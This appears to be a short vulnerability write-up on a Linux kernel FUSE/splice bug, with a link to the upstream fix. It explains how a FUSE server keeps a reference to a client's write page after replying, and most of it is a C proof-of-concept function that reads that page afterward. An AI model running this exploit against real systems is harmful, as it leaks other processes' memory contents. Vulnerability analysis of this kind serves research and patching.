
这个漏洞感觉只能信息泄露?
Fix link: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=0c4bcfdecb1ac0967619ee7ff44871d93c08c909 This vulnerability is mainly due to the asynchronous nature of splice, which allows the user-mode filesystem process (server side) to retain a piece of memory of the process that made the service request (client side). The filesystem process, after write is closed, still holds a reference to the source memory page of the write (the filesystem process only has read permission; personally, I feel the harm is limited :( ).
The core logic is as follows: after the client's page is placed into the pipe, it first replies to the client's fuse write request to allow the write to complete. At this point, the pipe still holds a reference to the source page of the write. After the write ends, it then reads the content of the source.
void fuse_do_write(fd)
{
fflush(stdout);
puts("-----------------------");
puts("[+] start do_write");
// splice read requset from pipe
puts("[+] create pipe");
int pfd[2], ret;
ret = pipe(pfd);
if (ret < 0)
fatal("pipe");
size_t bufsize = getpagesize() + 0x1000;
ret = splice(fd, NULL, pfd[1], NULL, bufsize, 0);
if (ret < 0)
fatal("splice");
// 通过splice读取头部;
struct fuse_in_header in;
ret = read(pfd[0], &in, sizeof(struct fuse_in_header));
if (ret < 0)
fatal("read head");
fuse_show_req_head(&in);
puts("[+] send reply finish write");//回复write请求
struct fuse_write_out outarg;
outarg.size = 1;
outarg.padding = 0;
printf("unique: %d\n", in.unique);
fuse_send_reply(fd, &outarg, sizeof(outarg), 0, in.unique);
// 阻塞等待子进程write结束
int t = 0;
do
{
fflush(stdout);
puts("[+] input 1 to contine, other to block");
scanf("%d", &t);
puts("[+] ...");
} while (t != 1);
struct fuse_write_in inarg;
struct fuse_bufvec bufv;
ret = read(pfd[0], &inarg, sizeof(struct fuse_write_in));
if (ret < 0)
fatal("read write in");
printf("[+] write in:\n");
printf("\tfh:\t%lld\n", inarg.fh);
printf("\toffset:\t%lld\n", inarg.offset);
printf("\tsize:\t%d\n", inarg.size);
printf("\twrite_flags:\t%d\n", inarg.write_flags);
printf("\tlock_owner:\t%llx\n", inarg.lock_owner);
printf("\tflags:\t%d\n", inarg.flags);
printf("\tpadding:\t%d\n", inarg.padding);
ret = read(pfd[0], &bufv, sizeof(bufv)); //客户端write结束以后再读取page
printf("bufv:\t%s\n", (char *)&bufv);
puts("[+] end do_write");
close(pfd[0]);
close(pfd[1]);
}